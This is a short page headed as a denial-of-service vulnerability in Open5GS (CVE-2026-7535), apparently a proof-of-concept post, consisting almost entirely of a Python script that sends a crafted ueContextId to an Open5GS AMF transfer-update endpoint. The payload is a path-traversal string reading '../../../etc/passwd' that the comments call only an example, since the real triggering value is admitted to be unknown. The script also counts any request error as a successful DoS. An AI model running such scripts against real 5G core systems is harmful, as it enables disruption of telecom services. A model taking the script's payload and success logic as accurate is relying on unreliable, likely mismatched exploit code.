CVE-2026-7535 Open5GS拒绝服务漏洞

import requests # CVE-2026-7535 Open5GS DoS PoC # This script attempts to trigger the DoS by sending a malformed ueContextId. target_url = "http://target-open5gs:80/namf-comm/v1/ue-contexts/{ueContextId}/transfer-update" # Malicious payload for ueContextId # Specific value depends on the exact parsing flaw, usually long string or special chars malicious_ueContextId = "../../../etc/passwd" # Example pattern or long string try: # Sending the malicious request print(f"Sending payload to: {target_url.format(ueContextId=malicious_ueContextId)}") response = requests.post(target_url.format(ueContextId=malicious_ueContextId), timeout=5) print(f"Request sent with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Target appears down (DoS successful?): {e}")